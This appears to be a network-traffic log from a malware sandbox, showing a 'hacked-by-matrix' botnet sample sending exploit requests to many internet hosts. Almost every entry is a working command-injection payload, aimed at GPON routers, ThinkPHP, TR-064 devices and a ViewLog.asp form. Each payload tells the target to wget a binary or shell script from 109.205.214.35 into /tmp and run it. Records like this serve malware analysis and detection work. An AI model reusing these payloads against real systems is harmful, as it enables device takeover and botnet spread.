Mar 21, 2024 05:22:05.168348074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
506	192.168.2.14	58878	212.243.24.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.168410063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
507	192.168.2.14	60782	42.171.225.227	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.168435097 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
508	192.168.2.14	41760	94.86.52.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.168495893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
509	192.168.2.14	51602	42.158.135.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.168509007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
510	192.168.2.14	43358	109.24.44.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.168576002 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
511	192.168.2.14	49974	79.68.253.253	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.168602943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
512	192.168.2.14	41764	5.121.198.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.168629885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
513	192.168.2.14	37096	178.134.46.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.168661118 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
514	192.168.2.14	41342	94.84.66.223	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.183696032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
515	192.168.2.14	35840	118.21.217.61	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.191425085 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
516	192.168.2.14	53120	88.221.25.159	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.212451935 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:05.386892080 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Thu, 21 Mar 2024 04:22:05 GMT Date: Thu, 21 Mar 2024 04:22:05 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 66 31 39 64 64 35 38 26 23 34 36 3b 31 37 31 30 39 39 34 39 32 35 26 23 34 36 3b 33 61 38 61 32 34 37 62 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.9f19dd58.1710994925.3a8a247b</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
517	192.168.2.14	53048	88.198.199.37	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.212660074 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:05.392957926 CET	123	IN	HTTP/1.1 400 Bad Request Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
518	192.168.2.14	33808	88.198.50.36	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.212718964 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:05.396689892 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:05 GMT Server: Apache Content-Length: 1700 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6c 61 6e 67 75 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 6e 67 6f 63 61 6d 2c 20 74 68 65 20 66 72 65 65 20 63 6c 6f 75 64 20 62 61 73 65 64 20 49 50 20 63 61 6d 65 72 61 20 73 74 72 65 61 6d 69 6e 67 20 72 65 63 6f 72 64 69 6e 67 20 70 72 6f 78 79 20 73 69 74 65 20 2d 20 6f 6e 6c 69 6e 65 20 77 65 62 63 61 6d 20 73 68 61 72 69 6e 67 22 20 2f 3e 20 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 68 6f 6d 65 20 73 65 63 75 72 69 74 79 20 70 65 74 73 20 61 6e 69 6d 61 6c 73 20 49 50 20 63 61 6d 65 72 61 20 57 69 46 69 20 77 65 62 63 61 6d 20 73 75 72 76 65 69 6c 6c 61 6e 63 65 20 77 65 62 63 61 6d 20 73 68 61 72 69 6e 67 22 20 2f 3e 20 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 6e 67 6f 63 61 6d 20 50 74 79 20 4c 74 64 22 20 2f 3e 20 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 32 30 31 36 20 62 79 20 4d 61 6e 67 6f 63 61 6d 20 50 74 79 20 4c 74 64 20 41 75 73 74 72 61 6c 69 61 22 20 2f 3e 20 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 76 69 73 69 74 2d 61 66 74 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 31 34 20 64 61 79 73 22 20 2f 3e 20 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 50 48 50 22 20 2f 3e 20 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 62 73 74 72 61 63 74 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 6e 67 6f 63 61 6d 2c 20 74 68 65 20 66 72 65 65 20 63 6c 6f 75 64 20 62 61 73 65 64 20 49 50 20 63 61 6d 65 72 61 20 73 74 72 65 61 6d 69 6e 67 20 72 65 63 6f 72 64 69 6e 67 20 70 72 6f 78 79 20 73 69 74 65 20 2d 20 6f 6e 6c 69 6e 65 20 77 65 62 63 61 6d 20 73 68 61 72 69 6e 67 22 20 2f 3e 20 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 61 74 69 6e 67 22 20 63 6f 6e 74 65 6e 74 3d 22 67 65 6e 65 72 61 6c 22 20 2f 3e 20 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 61 6c 6c 22 20 2f 3e 20 0a 0a 3c 74 69 74 6c 65 3e 4d 61 6e 67 6f 63 61 6d 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 62 6f 64 79 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 36 36 36 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 7d 0a 20 20 20 20 64 69 76 2e 64 69 61 6c 6f 67 20 7b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 34 35 65 6d 3b 0a 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 34 65 6d 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 34 65 6d 20 61 75 74 6f 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c Data Ascii: <!DOCTYPE html><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="language" content="en" /><meta name="description" content="Mangocam, the free cloud based IP camera streaming recording proxy site - online webcam sharing" /> <meta name="keywords" content="home security pets animals IP camera WiFi webcam surveillance webcam sharing" /> <meta name="author" content="Mangocam Pty Ltd" /> <meta name="copyright" content="2016 by Mangocam Pty Ltd Australia" /> <meta name="revisit-after" content="14 days" /> <meta name="generator" content="PHP" /> <meta name="abstract" content="Mangocam, the free cloud based IP camera streaming recording proxy site - online webcam sharing" /> <meta name="rating" content="general" /> <meta name="robots" content="all" /> <title>Mangocam Error</title> <style type="text/css"> body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; } div.dialog { width: 45em; padding: 0 4em; margin: 4em auto 0 auto; border: 1px solid #ccc; border-right-col
Mar 21, 2024 05:22:05.396742105 CET	600	IN	Data Raw: 6f 72 3a 20 23 39 39 39 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 20 23 39 39 39 3b 0a 20 20 20 20 7d 0a 20 20 20 20 68 31 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 63 6f 6c 6f 72 3a 20 Data Ascii: or: #999; border-bottom-color: #999; } h1 { font-size: 100%; color: #f00; line-height: 1.5em; } </style></head><body> <div class="dialog"> <h1>Mangocam Error</h1> <p>Sorry, the requested page is not available. Please

Session ID	Source IP	Source Port	Destination IP	Destination Port
519	192.168.2.14	59270	14.81.111.239	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.437973976 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:05.806504011 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
520	192.168.2.14	33696	112.30.176.229	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.453398943 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:07.614444971 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:10.366313934 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
521	192.168.2.14	58302	88.217.209.70	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.571275949 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:05.750991106 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.1 Date: Thu, 21 Mar 2024 04:22:05 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
522	192.168.2.14	56846	200.88.215.39	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:05.762247086 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 